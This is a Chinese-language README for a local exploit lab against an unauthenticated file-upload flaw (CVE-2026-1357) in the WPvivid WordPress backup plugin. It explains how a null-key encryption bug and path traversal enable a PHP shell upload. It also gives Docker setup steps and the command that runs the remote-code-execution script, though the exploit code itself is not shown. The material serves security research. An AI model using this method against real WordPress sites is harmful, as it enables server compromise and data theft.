WordPress 的 Migration, Backup, Staging – WPvivid Backup & Migration 插件在 0.9.123 及更早版本中存在未认证的任意文件上传漏洞。该漏洞源于 RSA 解密过程中的错误处理不当,以及在写入上传文件时缺乏路径清理。当插件使用 openssl_private_decrypt() 解密会话密钥失败时,它不会终止执行,而是将布尔值 false 传递给 phpseclib 库的 AES 密码初始化。该库将此 false 值视为空字节字符串,使攻击者能够使用可预测的空字节密钥加密恶意负载。此外,插件在未进行清理的情况下接受来自解密负载的文件名,从而允许目录遍历以逃逸受保护的备份目录。这使得未认证的攻击者能够将任意 PHP 文件上传到公开可访问的目录,并通过 wpvivid_action=send_to_site 参数实现远程代码执行。
https://nvd.nist.gov/vuln/detail/CVE-2026-1357
按如下方式组织您的项目文件夹:
.
├── docker-compose.yml
├── exploit.py
├── requirements.txt
├── vulnerable-plugin-folder/ # 插件暂存目录
└── wp-content/ # 持久化 WP 数据(由 Docker 创建)
由于该漏洞已在后续版本中修复,您必须手动下载并部署 0.9.123 版本。在项目根目录下运行以下命令:
# 下载存在漏洞的版本
wget https://downloads.wordpress.org/plugin/wpvivid-backuprestore.0.9.123.zip
# 创建暂存目录
mkdir vulnerable-plugin-folder
# 解压并将文件移动到指定位置
unzip wpvivid-backuprestore.0.9.123.zip
mv wpvivid-backuprestore/* vulnerable-plugin-folder/
rm -rf wpvivid-backuprestore wpvivid-backuprestore.0.9.123.zip
docker-compose up -d
http://localhost:8080 并完成安装。/wp-admin)。pip install -r requirements.txt
针对您的实验目标执行脚本:
python3 exploit.py localhost:8080 --command "id"
如果成功,脚本将输出命令的执行结果(例如,uid=33(www-data) gid=33(www-data))。您还可以在实验环境中验证 shell 文件是否存在:
docker exec wpvivid-lab ls /var/www/html/wp-content/uploads/
本工具仅用于教育目的和授权的安全研究。未经授权访问计算机系统属于违法行为。